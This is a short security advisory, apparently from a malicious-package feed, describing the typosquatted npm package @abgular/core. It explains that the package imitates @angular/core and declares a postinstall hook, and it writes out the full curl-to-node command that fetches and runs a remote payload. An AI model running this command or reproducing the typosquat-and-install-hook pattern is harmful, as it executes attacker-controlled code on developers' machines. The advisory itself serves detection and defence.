Malicious code in @abgular/core (npm)
Description
Source: amazon-inspector (4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b)
Package name @abgular/core is a single-character transposition of @angular/core and copies that package's description, author, and repository metadata. The package.json declares a postinstall script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into node during npm install. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype @angular/core trigger this remote-code execution.
---